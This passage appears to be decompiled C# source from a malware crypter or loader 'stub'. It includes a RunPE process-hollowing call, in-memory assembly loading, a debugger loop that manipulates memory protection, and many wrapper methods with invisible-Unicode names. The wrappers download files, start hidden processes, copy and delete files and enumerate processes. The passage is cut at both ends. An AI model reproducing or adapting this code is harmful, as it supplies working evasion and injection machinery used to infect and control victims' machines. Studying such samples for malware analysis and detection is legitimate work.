MemorySafeLoad(byte[] data) { return Assembly.Load(data); } // Token: 0x06000088 RID: 136 RVA: 0x00006958 File Offset: 0x00004B58 private static bool ByteArrayCompare(byte[] b1, byte[] b2) { return b1.Length == b2.Length && stub.memcmp(b1, b2, (long)b1.Length) == 0; } // Token: 0x06000089 RID: 137 RVA: 0x00006980 File Offset: 0x00004B80 private static bool CompareArrays(byte[] array, byte[] array2) { return array.Length == array2.Length && stub.ModifyArrays(array, array2); } // Token: 0x0600008A RID: 138 RVA: 0x000069A0 File Offset: 0x00004BA0 private unsafe static bool ModifyArrays(byte[] array, byte[] array2) { bool result; if (array == array2) { result = true; } else if (array.Length != array2.Length) { result = false; } else { byte* ptr; if (array != null && array.Length != 0) { fixed (byte* ptr = &array[0]) { } } else { ptr = null; } byte* ptr2; if (array2 != null && array2.Length != 0) { fixed (byte* ptr2 = &array2[0]) { } } else { ptr2 = null; } int num = array.Length; int num2 = num % 128; long* ptr3 = (long*)ptr; long* ptr4 = (long*)ptr2; long* ptr5 = (long*)ptr + num / 8 - num2 / 8; while (ptr3 < ptr5) { if (*ptr3 == *ptr4) { if (ptr3[1] == ptr4[1] && ptr3[2] == ptr4[2]) { if (ptr3[3] == ptr4[3]) { if (ptr3[4] == ptr4[4] && ptr3[5] == ptr4[5]) { if (ptr3[6] == ptr4[6]) { if (ptr3[7] == ptr4[7] && ptr3[8] == ptr4[8] && ptr3[9] == ptr4[9] && ptr3[10] == ptr4[10] && ptr3[11] == ptr4[11]) { if (ptr3[12] == ptr4[12]) { if (ptr3[13] == ptr4[13]) { if (ptr3[14] == ptr4[14]) { if (ptr3[15] == ptr4[15]) { ptr3 += 16; ptr4 += 16; continue; } } } } } } } } } } return false; } for (int i = 0; i < num2; i++) { if (array[num - 1 - i] != array2[num - 1 - i]) { return false; } } result = true; ptr2 = null; ptr = null; } return result; } // Token: 0x0600008B RID: 139 [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); // Token: 0x0600008C RID: 140 [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string running); // Token: 0x0600008D RID: 141 RVA: 0x00006BAC File Offset: 0x00004DAC private static T CreateApi(string dllname, string procname) { IntPtr intPtr = IntPtr.Zero; foreach (object obj in Process.GetCurrentProcess().Modules) { ProcessModule processModule = (ProcessModule)obj; try { if (processModule.ModuleName.ToLower() == dllname) { intPtr = processModule.BaseAddress; break; } } catch { } } if (!(intPtr != IntPtr.Zero)) { return default(T); } IntPtr procAddress = stub.GetProcAddress(intPtr, procname); if (procAddress != IntPtr.Zero) { return (T)((object)Convert.ChangeType(Marshal.GetDelegateForFunctionPointer(procAddress, typeof(T)), typeof(T))); } return default(T); } // Token: 0x0600008E RID: 142 RVA: 0x00006C98 File Offset: 0x00004E98 private static void DebugProgram(RunPE.PROCESS_INFORMATION PI, IntPtr NewImageBase, uint SizeOfHeaders) { uint num = 0u; stub.DEBUG_EVENT debug_EVENT = default(stub.DEBUG_EVENT); if (!stub.DebugActiveProcess(PI.dwProcessId)) { return; } while (stub.WaitForDebugEvent(out debug_EVENT, -1)) { stub.DebugEventType dwDebugEventCode = debug_EVENT.dwDebugEventCode; if (dwDebugEventCode == stub.DebugEventType.EXCEPTION_DEBUG_EVENT) { if (debug_EVENT.Exception.ExceptionRecord.ExceptionCode == 2147483649u) { stub.ContinueDebugEvent(debug_EVENT.dwProcessId, debug_EVENT.dwThreadId, 65538); if (!stub.VirtualProtectEx(PI.hProcess, NewImageBase, SizeOfHeaders, 260u, out num)) { throw new Exception("VPEX REPROTECT FAILED"); } continue; } else if (debug_EVENT.Exception.ExceptionRecord.ExceptionCode != 2147483651u) { stub.ContinueDebugEvent(debug_EVENT.dwProcessId, debug_EVENT.dwThreadId, 65538); } else { if (stub.VirtualProtectEx(PI.hProcess, NewImageBase, SizeOfHeaders, 260u, out num)) { stub.ContinueDebugEvent(debug_EVENT.dwProcessId, debug_EVENT.dwThreadId, 65538); continue; } throw new Exception("VPEX REPROTECT FAILED"); } } else { stub.ContinueDebugEvent(debug_EVENT.dwProcessId, debug_EVENT.dwThreadId, 65538); } GC.Collect(); } throw new Exception(); } // Token: 0x06000096 RID: 150 RVA: 0x00007034 File Offset: 0x00005234 static Assembly \u202E\u202D\u200D\u200D\u206D\u206E\u206F\u206A\u202D\u206A\u200F\u202B\u202A\u206B\u200F\u206A\u202C\u206B\u206B\u200C\u206C\u206A\u202E\u200D\u202A\u206B\u200B\u206C\u206C\u206A\u200D\u200B\u206E\u200B\u200E\u202D\u200C\u200C\u206D\u202E\u202E() { return Assembly.GetExecutingAssembly(); } // Token: 0x06000097 RID: 151 RVA: 0x00007048 File Offset: 0x00005248 static ResourceManager \u202D\u200D\u206B\u202C\u202B\u206D\u206E\u202A\u206C\u200E\u200F\u206D\u202B\u206E\u202B\u206A\u206F\u206C\u200B\u202E\u202E\u200D\u206E\u200D\u202E\u202B\u202A\u206D\u206E\u202B\u200C\u200E\u202B\u206F\u202E\u206E\u200D\u206D\u206A\u202E\u202E(string A_0, Assembly A_1) { return new ResourceManager(A_0, A_1); } // Token: 0x06000098 RID: 152 RVA: 0x0000705C File Offset: 0x0000525C static AppDomain \u200C\u206C\u206D\u206A\u202C\u200E\u206B\u200E\u202C\u202A\u200F\u202D\u206C\u200E\u200C\u200B\u206B\u202C\u202C\u200B\u200D\u206A\u200D\u200E\u202D\u200D\u202E\u202A\u206D\u206D\u200C\u202B\u200C\u206F\u200D\u206A\u202B\u200E\u206E\u202A\u202E() { return AppDomain.CurrentDomain; } // Token: 0x06000099 RID: 153 RVA: 0x00007070 File Offset: 0x00005270 static void \u202B\u200E\u206E\u206B\u206C\u202C\u206C\u206C\u200D\u202B\u202B\u200C\u206F\u206F\u206A\u200F\u206D\u200F\u200B\u200C\u206B\u202A\u200F\u206C\u206D\u200E\u206E\u206D\u206D\u200E\u202C\u202E\u206F\u206C\u206A\u200E\u206B\u206F\u206F\u202A\u202E(AppDomain A_0, ResolveEventHandler A_1) { A_0.AssemblyResolve += A_1; } // Token: 0x0600009A RID: 154 RVA: 0x00007084 File Offset: 0x00005284 static string \u200E\u202E\u206F\u202A\u206D\u202E\u206E\u206B\u202A\u206E\u206C\u202B\u206A\u200E\u200B\u202B\u202B\u206B\u200E\u202E\u206B\u206F\u206B\u206B\u200E\u206E\u202B\u200E\u200E\u206B\u206F\u200D\u202E\u200C\u200F\u206E\u202E\u202D\u206D\u202B\u202E() { return Application.ExecutablePath; } // Token: 0x0600009B RID: 155 RVA: 0x00002D58 File Offset: 0x00000F58 static string \u202D\u206C\u206B\u206E\u206D\u200B\u206E\u206E\u200B\u206E\u202C\u206C\u202D\u200E\u200C\u206C\u206A\u206C\u202A\u200D\u202A\u200C\u206B\u202A\u200D\u206F\u202B\u200E\u206A\u202E\u206C\u200C\u202D\u206A\u202D\u206F\u206C\u206B\u206B\u206D\u202E(string A_0, string A_1) { return A_0 + A_1; } // Token: 0x0600009C RID: 156 RVA: 0x00007098 File Offset: 0x00005298 static DialogResult \u202D\u206D\u206A\u200B\u206D\u202A\u200C\u200E\u202E\u206F\u206F\u206D\u202D\u200E\u206C\u200F\u206A\u206E\u206A\u206C\u206B\u202D\u206A\u202E\u200E\u206B\u206A\u206F\u206E\u200D\u202C\u206C\u206A\u200D\u200D\u200D\u200C\u206C\u200D\u206E\u202E(string A_0, string A_1, MessageBoxButtons A_2, MessageBoxIcon A_3) { return MessageBox.Show(A_0, A_1, A_2, A_3); } // Token: 0x0600009D RID: 157 RVA: 0x000070B0 File Offset: 0x000052B0 static string \u200C\u200C\u200E\u206E\u200E\u206B\u202B\u200C\u206F\u202B\u206C\u200B\u206A\u206D\u206B\u206F\u206B\u206E\u200C\u202C\u202D\u200F\u200E\u200E\u200F\u202C\u200D\u202A\u202D\u202B\u202C\u206C\u200F\u202C\u200C\u200F\u202C\u206B\u202A\u200D\u202E(string A_0, string A_1, string A_2) { return A_0 + A_1 + A_2; } // Token: 0x0600009E RID: 158 RVA: 0x000070C8 File Offset: 0x000052C8 static void \u202B\u200E\u206A\u200E\u206D\u206A\u200D\u200F\u202E\u206E\u206C\u202E\u200E\u200F\u202C\u200E\u200C\u200F\u206A\u202B\u206B\u206B\u200D\u202E\u200C\u206B\u202B\u202D\u202A\u202D\u200D\u202A\u206B\u202A\u200D\u200B\u206B\u206D\u206F\u200C\u202E(string A_0, byte[] A_1) { File.WriteAllBytes(A_0, A_1); } // Token: 0x0600009F RID: 159 RVA: 0x00002DFC File Offset: 0x00000FFC static void \u206F\u200B\u202D\u206A\u206F\u206D\u200D\u206A\u200C\u206E\u206D\u202C\u206C\u206A\u202E\u206B\u206A\u202E\u200F\u202E\u202C\u206F\u202C\u202E\u206C\u206D\u200C\u200E\u206A\u206D\u206F\u200E\u200D\u200F\u200C\u202A\u202B\u206B\u202A\u202A\u202E(int A_0) { Thread.Sleep(A_0); } // Token: 0x060000A0 RID: 160 RVA: 0x000070DC File Offset: 0x000052DC static Process \u202B\u206C\u200D\u200E\u202A\u206C\u206F\u200F\u206B\u206A\u206E\u202D\u206E\u206C\u206C\u200E\u206E\u206E\u202E\u200D\u206F\u200C\u200C\u202A\u206B\u202A\u206E\u202E\u202D\u200F\u202C\u200F\u200B\u206B\u206B\u206E\u206A\u206E\u202B\u206F\u202E(string A_0) { return Process.Start(A_0); } // Token: 0x060000A1 RID: 161 RVA: 0x000070F0 File Offset: 0x000052F0 static int \u202C\u206F\u206C\u206B\u202C\u206A\u200E\u206F\u202A\u206A\u200E\u202C\u200C\u200E\u206D\u202D\u202D\u202D\u206C\u206F\u202C\u206D\u206A\u202A\u206A\u202B\u202A\u200B\u200F\u206A\u206A\u206D\u202C\u200C\u202D\u200B\u206D\u200F\u200E\u200E\u202E(string A_0, string A_1) { return A_0.LastIndexOf(A_1); } // Token: 0x060000A2 RID: 162 RVA: 0x00007104 File Offset: 0x00005304 static string \u202A\u200C\u200D\u206F\u202E\u206C\u202A\u200B\u206A\u206C\u206B\u206F\u202E\u202C\u200E\u202D\u202B\u202B\u202B\u202E\u202A\u200F\u200F\u202E\u206E\u202C\u200E\u200D\u202D\u206B\u206E\u202A\u206A\u206A\u206A\u206D\u202E\u202E\u202A\u206D\u202E(string A_0, int A_1) { return A_0.Substring(A_1); } // Token: 0x060000A3 RID: 163 RVA: 0x00007118 File Offset: 0x00005318 static bool \u200B\u206B\u206D\u202B\u206A\u206D\u202B\u202A\u200C\u200B\u200C\u206B\u206B\u202D\u206F\u200D\u200B\u206E\u206D\u206A\u206A\u206B\u206A\u206A\u200B\u202D\u202C\u202C\u200B\u202E\u206D\u206B\u200C\u202D\u200F\u202C\u206A\u206C\u206C\u206F\u202E(string A_0) { return File.Exists(A_0); } // Token: 0x060000A4 RID: 164 RVA: 0x0000712C File Offset: 0x0000532C static void \u200E\u202C\u200B\u206E\u200F\u200F\u200B\u206C\u206A\u206F\u206B\u202A\u202A\u200C\u200B\u206C\u200B\u200E\u206A\u206B\u206A\u202D\u206A\u206B\u200C\u206D\u206B\u200C\u200B\u200E\u202D\u202A\u206F\u202E\u200D\u200C\u206B\u206E\u206E\u200D\u202E(string A_0) { File.Delete(A_0); } // Token: 0x060000A5 RID: 165 RVA: 0x00007140 File Offset: 0x00005340 static WebClient \u206A\u202E\u206E\u202C\u206C\u202C\u200F\u200C\u206A\u200E\u202D\u200F\u206E\u206D\u202C\u200C\u202A\u206D\u206E\u206C\u206A\u206F\u202E\u200C\u206A\u206E\u200D\u200F\u200D\u200C\u200B\u206C\u206A\u200F\u206E\u200D\u206D\u200E\u206C\u202B\u202E() { return new WebClient(); } // Token: 0x060000A6 RID: 166 RVA: 0x00007154 File Offset: 0x00005354 static void \u202A\u202B\u202A\u206A\u202B\u206B\u206F\u202E\u200E\u202E\u206F\u200B\u206E\u206A\u202E\u202E\u200D\u202D\u206C\u200C\u206C\u202E\u206B\u206A\u200C\u202B\u206D\u202E\u202B\u206A\u202D\u200D\u202D\u200C\u200E\u202D\u200B\u206F\u206D\u202E\u202E(WebClient A_0, string A_1, string A_2) { A_0.DownloadFile(A_1, A_2); } // Token: 0x060000A7 RID: 167 RVA: 0x0000716C File Offset: 0x0000536C static bool \u206B\u200D\u206B\u202D\u206E\u206B\u200F\u202B\u200E\u200D\u200D\u206D\u202A\u200E\u202A\u202C\u200B\u206B\u206D\u206C\u202D\u202A\u200B\u202A\u202B\u206D\u202B\u200B\u206E\u202D\u200C\u206B\u202A\u206A\u202B\u202D\u200D\u206D\u202D\u202A\u202E(string A_0) { return Directory.Exists(A_0); } // Token: 0x060000A8 RID: 168 RVA: 0x00007180 File Offset: 0x00005380 static DirectoryInfo \u200C\u200C\u206F\u200B\u200B\u206C\u206C\u206F\u206B\u200E\u202C\u200B\u206C\u200D\u202D\u206A\u206F\u200E\u206B\u206B\u206B\u206F\u200B\u206A\u206B\u200F\u202C\u202B\u206F\u206E\u206C\u206B\u200E\u202C\u206B\u202B\u202E\u202E\u200B\u200F\u202E(string A_0) { return Directory.CreateDirectory(A_0); } // Token: 0x060000A9 RID: 169 RVA: 0x00007194 File Offset: 0x00005394 static void \u206E\u202C\u202D\u206F\u200E\u206A\u206E\u206F\u206F\u202E\u202C\u206E\u206C\u202B\u206E\u200C\u206D\u206A\u202A\u200C\u206C\u206E\u206B\u200E\u202E\u206C\u202E\u202E\u200D\u202A\u200B\u206E\u200E\u200E\u206A\u200F\u206F\u206E\u206D\u200E\u202E(string A_0, string A_1) { File.Move(A_0, A_1); } // Token: 0x060000AA RID: 170 RVA: 0x000071A8 File Offset: 0x000053A8 static void \u202C\u200E\u202C\u202B\u206C\u200C\u200E\u206B\u202E\u206C\u206A\u200D\u200D\u206E\u202B\u200F\u200F\u206D\u202A\u202B\u206D\u202D\u206E\u200F\u206E\u202C\u202D\u200B\u202E\u202B\u206D\u202D\u202B\u206F\u206C\u206C\u202C\u206A\u202B\u206A\u202E(string A_0, string A_1, bool A_2) { File.Copy(A_0, A_1, A_2); } // Token: 0x060000AB RID: 171 RVA: 0x000071C0 File Offset: 0x000053C0 static Process \u206C\u206B\u202E\u202C\u206D\u206A\u206C\u202C\u206D\u206B\u202B\u206B\u206A\u200D\u202D\u206C\u206D\u200B\u202D\u202E\u206A\u206E\u200F\u202D\u200F\u206A\u200D\u206E\u200B\u202B\u202D\u206C\u200E\u206F\u200E\u202E\u206D\u206C\u200D\u200C\u202E(string A_0, string A_1) { return Process.Start(A_0, A_1); } // Token: 0x060000AC RID: 172 RVA: 0x000071D4 File Offset: 0x000053D4 static string \u206B\u202E\u206F\u202E\u200D\u202D\u200B\u202B\u200E\u200B\u202E\u206A\u200D\u200B\u206D\u202E\u206A\u206B\u206C\u200C\u200E\u206E\u202B\u202D\u200B\u206E\u206B\u200F\u202C\u202B\u200F\u202E\u206A\u206C\u206F\u206E\u202B\u202B\u206B\u202C\u202E(string[] A_0) { return string.Concat(A_0); } // Token: 0x060000AD RID: 173 RVA: 0x000071E8 File Offset: 0x000053E8 static void \u206D\u202D\u206C\u202E\u206A\u206C\u202B\u206F\u202D\u202B\u200C\u202E\u202C\u200D\u206C\u202B\u200E\u202E\u202B\u206E\u200E\u200E\u200E\u206E\u202B\u206D\u206B\u206B\u200D\u202B\u206A\u206C\u200E\u206B\u202B\u202E\u200D\u200B\u200B\u206A\u202E(int A_0) { Environment.Exit(A_0); } // Token: 0x060000AE RID: 174 RVA: 0x000071FC File Offset: 0x000053FC static string \u202B\u200C\u206C\u202C\u200F\u200F\u200D\u206A\u200B\u206B\u202C\u206D\u200C\u206C\u202B\u200C\u200E\u202B\u202B\u202A\u206D\u206C\u200C\u206E\u206F\u206C\u202C\u202C\u202C\u200B\u200D\u206F\u200D\u200C\u200C\u202C\u202D\u202C\u200C\u202E\u202E(string A_0, string[] A_1) { return string.Join(A_0, A_1); } // Token: 0x060000AF RID: 175 RVA: 0x00007210 File Offset: 0x00005410 static bool \u202E\u206B\u206E\u202D\u200C\u200D\u206E\u202B\u202E\u200F\u200E\u202D\u202C\u206B\u206E\u206C\u206C\u200E\u206B\u206D\u206F\u202D\u206E\u200C\u202D\u206E\u202B\u206A\u202C\u200B\u202B\u200B\u206B\u206A\u200C\u200E\u206D\u202D\u202A\u206E\u202E(byte[] A_0, string A_1, string A_2, ref RunPE.PROCESS_INFORMATION A_3, ref IntPtr A_4, ref uint A_5) { return RunPE.Run(A_0, A_1, A_2, ref A_3, ref A_4, ref A_5); } // Token: 0x060000B0 RID: 176 RVA: 0x00002DAC File Offset: 0x00000FAC static Thread \u200D\u202A\u200B\u206E\u202E\u202A\u202A\u200E\u206D\u206E\u200E\u200B\u202A\u206C\u206C\u200F\u202D\u206D\u200B\u206B\u202C\u206D\u202E\u202A\u200F\u202E\u206C\u202B\u200F\u206D\u200B\u200D\u206C\u206E\u206D\u200C\u206C\u202E\u206F\u202B\u202E(ParameterizedThreadStart A_0) { return new Thread(A_0); } // Token: 0x060000B1 RID: 177 RVA: 0x0000722C File Offset: 0x0000542C static void \u206A\u206A\u202E\u200E\u202C\u202E\u200B\u200E\u200B\u202C\u206A\u206B\u202C\u202B\u202D\u200C\u200C\u206A\u202B\u206D\u202E\u200E\u202C\u206F\u200B\u202C\u206E\u202A\u202E\u202B\u202A\u202D\u206F\u206B\u206A\u206A\u200E\u200F\u206D\u202D\u202E(Thread A_0, object A_1) { A_0.Start(A_1); } // Token: 0x060000B2 RID: 178 RVA: 0x00007240 File Offset: 0x00005440 static Process \u202E\u206B\u202D\u200D\u200F\u200E\u206C\u200E\u202D\u200F\u206E\u206A\u200E\u200C\u206B\u206C\u202E\u200B\u202A\u200C\u206C\u200B\u206F\u206B\u200D\u206E\u200D\u200D\u206D\u206E\u206B\u200C\u202E\u200E\u202E\u200F\u202A\u206B\u202D\u200C\u202E() { return Process.GetCurrentProcess(); } // Token: 0x060000B3 RID: 179 RVA: 0x00007254 File Offset: 0x00005454 static int \u206E\u206F\u206E\u200D\u206F\u202B\u202D\u202E\u200F\u206F\u200C\u206A\u206F\u200E\u206D\u206D\u206A\u206D\u202B\u200D\u200D\u200F\u202D\u206F\u202B\u202B\u206E\u200D\u202C\u206E\u206A\u206F\u206A\u202A\u206E\u206B\u202B\u202E\u200F\u206A\u202E(Process A_0) { return A_0.Id; } // Token: 0x060000B4 RID: 180 RVA: 0x00007268 File Offset: 0x00005468 static IntPtr \u206F\u200B\u206F\u206F\u200B\u200D\u200C\u206B\u206C\u202B\u200D\u202D\u200D\u206A\u200E\u200F\u202C\u206C\u202C\u206F\u200F\u206B\u206E\u206F\u206C\u202D\u206E\u206D\u200C\u206C\u202D\u206A\u200D\u202B\u202E\u200F\u206A\u200E\u202B\u202B\u202E(Process A_0) { return A_0.Handle; } // Token: 0x060000B5 RID: 181 RVA: 0x0000727C File Offset: 0x0000547C static string \u206D\u206D\u202E\u206C\u200F\u206B\u200E\u200D\u202E\u200E\u200D\u200B\u200D\u202C\u206D\u200D\u206D\u202D\u202B\u202B\u200D\u206A\u202E\u200C\u202B\u202B\u200C\u206B\u202E\u200F\u206C\u202D\u200C\u200D\u200C\u206D\u202C\u206E\u202E\u206A\u202E(Exception A_0) { return A_0.Message; } // Token: 0x060000B6 RID: 182 RVA: 0x00007290 File Offset: 0x00005490 static DialogResult \u200F\u200B\u206B\u206A\u206F\u202B\u206D\u202C\u200E\u206F\u202C\u202A\u202D\u206C\u202E\u200F\u200C\u200C\u206A\u202E\u202E\u206A\u200F\u202A\u200D\u200B\u202B\u206F\u202A\u202C\u206C\u200F\u206F\u202B\u202A\u206F\u206A\u206C\u202D\u200F\u202E(string A_0) { return MessageBox.Show(A_0); } // Token: 0x060000B7 RID: 183 RVA: 0x000072A4 File Offset: 0x000054A4 static Process \u200F\u200D\u206D\u206C\u206E\u202B\u202D\u206D\u200D\u202D\u206F\u200E\u206B\u202D\u200F\u206F\u202D\u200D\u206F\u206B\u206E\u200B\u202C\u202D\u202B\u202E\u202D\u206A\u202D\u202C\u202B\u200E\u202D\u202B\u202D\u200F\u200D\u206B\u202A\u202A\u202E() { return new Process(); } // Token: 0x060000B8 RID: 184 RVA: 0x000072B8 File Offset: 0x000054B8 static ProcessStartInfo \u206A\u202D\u200B\u206F\u200F\u206A\u202B\u206E\u206E\u202B\u206A\u202B\u206D\u200E\u206B\u202A\u200B\u202A\u200F\u200D\u200C\u202D\u200F\u200F\u202A\u206C\u206C\u202D\u200F\u206C\u206A\u206F\u206E\u206B\u200F\u206B\u206E\u206A\u200C\u200E\u202E(Process A_0) { return A_0.StartInfo; } // Token: 0x060000B9 RID: 185 RVA: 0x000072CC File Offset: 0x000054CC static void \u206F\u206C\u206D\u202E\u200B\u202B\u200F\u200C\u200D\u200B\u200C\u200E\u202E\u206E\u202A\u202D\u202A\u206E\u202B\u200F\u202C\u200E\u200D\u200F\u206D\u202E\u202A\u202D\u200F\u200C\u200B\u200B\u200C\u206B\u200D\u206A\u202B\u200C\u200E\u200C\u202E(ProcessStartInfo A_0, string A_1) { A_0.FileName = A_1; } // Token: 0x060000BA RID: 186 RVA: 0x000072E0 File Offset: 0x000054E0 static void \u202B\u206D\u206A\u200B\u206A\u202B\u200C\u200E\u206B\u200E\u206D\u200F\u206D\u200F\u202A\u202E\u202A\u202E\u200B\u200C\u206B\u202C\u206E\u200C\u206C\u206E\u200D\u206B\u206F\u206B\u200B\u206C\u206C\u202A\u200E\u202E\u202E\u202E\u200B\u200D\u202E(ProcessStartInfo A_0, bool A_1) { A_0.UseShellExecute = A_1; } // Token: 0x060000BB RID: 187 RVA: 0x000072F4 File Offset: 0x000054F4 static void \u202B\u200B\u206F\u200E\u206B\u200C\u200B\u202E\u206C\u202D\u206E\u202D\u202D\u206A\u200C\u202C\u200E\u206C\u200F\u202D\u202A\u202C\u206D\u206D\u200D\u202B\u200C\u202B\u206D\u202E\u202A\u202E\u200E\u202B\u200C\u202E\u200D\u202B\u206F\u206B\u202E(ProcessStartInfo A_0, ProcessWindowStyle A_1) { A_0.WindowStyle = A_1; } // Token: 0x060000BC RID: 188 RVA: 0x00007308 File Offset: 0x00005508 static void \u202B\u206E\u200C\u206A\u200D\u202B\u206D\u202B\u200E\u206B\u206D\u202A\u202A\u206C\u200C\u206B\u200C\u200F\u202B\u206E\u206D\u206A\u202D\u200E\u206F\u206C\u200E\u200B\u202A\u206A\u202C\u206A\u200F\u200F\u200D\u206A\u206B\u200B\u206D\u206C\u202E(ProcessStartInfo A_0, bool A_1) { A_0.CreateNoWindow = A_1; } // Token: 0x060000BD RID: 189 RVA: 0x0000731C File Offset: 0x0000551C static void \u200B\u200C\u200B\u202B\u202A\u206C\u202A\u202A\u206C\u202D\u202A\u206A\u200C\u206F\u200D\u206C\u200C\u200F\u206F\u206C\u200D\u206D\u206E\u206D\u206B\u200E\u202B\u200F\u206B\u202E\u200B\u206A\u202D\u202C\u206C\u200C\u206D\u206F\u206A\u200D\u202E(ProcessStartInfo A_0, bool A_1) { A_0.RedirectStandardInput = A_1; } // Token: 0x060000BE RID: 190 RVA: 0x00007330 File Offset: 0x00005530 static void \u200E\u206C\u206F\u206B\u206F\u206E\u200D\u206D\u200D\u202B\u206B\u200E\u200E\u206D\u200C\u202B\u202D\u206A\u206D\u200D\u200E\u202C\u202D\u202C\u200D\u206C\u206F\u206B\u206A\u206E\u200F\u206E\u206F\u200C\u200F\u202D\u202A\u200B\u200D\u200E\u202E(ProcessStartInfo A_0, bool A_1) { A_0.RedirectStandardOutput = A_1; } // Token: 0x060000BF RID: 191 RVA: 0x00007344 File Offset: 0x00005544 static bool \u206A\u202D\u202D\u202C\u202B\u202C\u206A\u200E\u202A\u202B\u206A\u206C\u202E\u202D\u206D\u202E\u202B\u206A\u202C\u200C\u202D\u200F\u202C\u200F\u202D\u202B\u202C\u206A\u206D\u202D\u206E\u202A\u202B\u200C\u206E\u200E\u200D\u202E\u202C\u202E(Process A_0) { return A_0.Start(); } // Token: 0x060000C0 RID: 192 RVA: 0x00007358 File Offset: 0x00005558 static StreamWriter \u202D\u202B\u206C\u200D\u200F\u206F\u202A\u206C\u206E\u200C\u206A\u206A\u202E\u206D\u202E\u206F\u206A\u200E\u200D\u202E\u200B\u202E\u202E\u206B\u206D\u202A\u206E\u202E\u206A\u202C\u202B\u200D\u206B\u200B\u200F\u206F\u202C\u202A\u202B\u200E\u202E(Process A_0) { return A_0.StandardInput; } // Token: 0x060000C1 RID: 193 RVA: 0x0000736C File Offset: 0x0000556C static void \u202C\u206A\u200F\u200B\u200B\u206E\u200C\u202C\u200F\u202C\u200E\u206E\u206D\u200D\u202D\u202B\u202E\u206A\u206B\u206B\u202D\u202A\u200D\u206B\u206A\u202D\u202D\u200F\u206F\u202E\u206E\u202A\u200E\u200C\u200F\u202B\u202B\u200B\u200E\u202D\u202E(TextWriter A_0, string A_1) { A_0.WriteLine(A_1); } // Token: 0x060000C2 RID: 194 RVA: 0x00007380 File Offset: 0x00005580 static void \u206F\u206B\u202A\u206E\u206F\u200B\u206F\u200D\u202E\u206B\u200C\u200D\u200B\u206E\u206A\u206E\u200E\u200F\u206A\u206A\u202E\u200E\u206A\u200E\u206E\u206C\u206F\u202E\u206F\u206A\u206F\u206D\u202D\u200E\u206D\u202B\u200E\u206A\u202A\u202E(Process A_0) { A_0.WaitForExit(); } // Token: 0x060000C3 RID: 195 RVA: 0x00007394 File Offset: 0x00005594 static Process[] \u206B\u200C\u200B\u202A\u206A\u200E\u206E\u202C\u202C\u202A\u202E\u202B\u206B\u202E\u200E\u202A\u200C\u200E\u202E\u206E\u200D\u200C\u200F\u200E\u200B\u202D\u200C\u200B\u202A\u200B\u206B\u202A\u200F\u206F\u202E\u200F\u206B\u206E\u202D\u202D\u202E() { return Process.GetProcesses(); } // Token: 0x060000C4 RID: 196 RVA: 0x000073A8 File Offset: 0x000055A8 static string \u200C\u206D\u202E\u202C\u202C\u200B\u202E\u200C\u202B\u206F\u206C\u200F\u206C\u200C\u202C\u200E\u206B\u202A\u200E\u200B\u206F\u200E\u202C\u206F\u206A\u202C\u206D\u202E\u200C\u206E\u202C\u202E\u206E\u200E\u200F\u202E\u200B\u202C\u200B\u202D\u202E(Process A_0) { return A_0.ProcessName; } // Token: 0x060000C5 RID: 197 RVA: 0x000073BC File Offset: 0x000055BC static bool \u202E\u202C\u200B\u206A\u206C\u200D\u206C\u200B\u200C\u200B\u200B\u202B\u206A\u200F\u200D\u200D\u202C\u202D\u200B\u206A\u206C\u202A\u206D\u202A\u200B\u206F\u202A\u206F\u200B\u206C\u202C\u206B\u206B\u206C\u200D\u200F\u200F\u200C\u206C\u200D\u202E(string A_0, string A_1) { return A_0 == A_1; } // Token: 0x060000C6 RID: 198 RVA: 0x000073D0 File Offset: 0x000055D0 static int \u202B\u200C\u200C\u206B\u206E\u206C\u202B\u202B\u206A\u206A\u202B\u206D\u202A\u202A\u202D\u202D\u206C\u200B\u200E\u200F\u200D\u202B\u206F\u206A\u206A\u200B\u206E\u202C\u206C\u206A\u206C\u202C\u202A\u202D\u202A\u200F\u200C\u206C\u200E\u202A\u202E() { return Marshal.GetLastWin32Error(); } // Token: 0x060000C7 RID: 199 RVA: 0x000073E4 File Offset: 0x000055E4 static ProcessModule \u202A\u206B\u202A\u202D\u206E\u202A\u202A\u206C\u202B\u206B\u206D\u200B\u206E\u200E\u200E\u200F\u206A\u200C\u202D\u200B\u200C\u200F\u200C\u200F\u200C\u206E\u202A\u206B\u206B\u200D\u200D\u200B\u200E\u202D\u206C\u206F\u200E\u200E\u206B\u200F\u202E(Process A_0) { return A_0.MainModule; } // Token: 0x060000C8 RID: 200 RVA: 0x000073F8 File Offset: 0x000055F8 static string \u200B\u200F\u202B\u200F\u200D\u200D\u202C\u206F\u200F\u202E\u202B\u202B\u202E\u206A\u202B\u206E\u202E\u202A\u206F\u202A\u202D\u202C\u202E\u206E\u206B\u200C\u202D\u202E\u202C\u206D\u200B\u200F\u206B\u206B\u200F\u200F\u202C\u200D\u206E\u200F\u202E(ProcessModule A_0) { return A_0.FileName; } // Token: 0x060000C9 RID: 201 RVA: 0x0000740C File Offset: 0x0000560C static ManagementObjectSearcher \u202A\u206C\u200E\u200D\u206A\u202B\u202D\u200F\u202A\u206E\u206E\u206C\u206C\u206C\u202E\u202D\u200B\u200F\u200B\u200F\u200E\u200F\u202B\u206D\u202C\u200B\u206F\u200B\u200C\u202C\u206E\u202C\u200E\u200C\u200D\u200C\u206B\u202A\u202D\u202E\u202E(string A_0) { return new ManagementObjectSearcher(A_0); } // Token: 0x060000CA RID: 202 RVA: 0x00007420 File Offset: 0x00005620 static ManagementObjectCollection \u206D\u202B\u202D\u206B\u206B\u202E\u206B\u206D\u206C\u202A\u206E\u206D\u202A\u206E\u202B\u202B\u206C\u200E\u206E\u206C\u206A\u200B\u206A\u200E\u200D\u202D\u202A\u200F\u202A\u200F\u202B\u202A\u202B\u206B\u202D\u206C\u206F\u200F\u206F\u206A\u202E(ManagementObjectSearcher A_0) { return A_0.Get(); } // Token: 0x060000CB RID: 203 RVA: 0x00007434 File Offset: 0x00005634 static ManagementObjectCollection.ManagementObjectEnumerator \u206D\u200E\u202B\u200B\u206E\u200B\u206B\u200F\u202A\u202A\u202C\u202C\u202D\u202E\u206A\u200E\u202E\u206E\u206D\u202D\u200F\u202C\u202B\u202E\u206D\u200E\u200E\u202C\u206B\u206A\u206F\u206E\u206C\u206C\u202E\u202E\u200B\u200E\u206A\u202B\u202E(ManagementObjectCollection A_0) { return A_0.GetEnumerator(); } // Token: 0x060000CC RID: 204 RVA: 0x00007448 File Offset: 0x00005648 static ManagementBaseObject 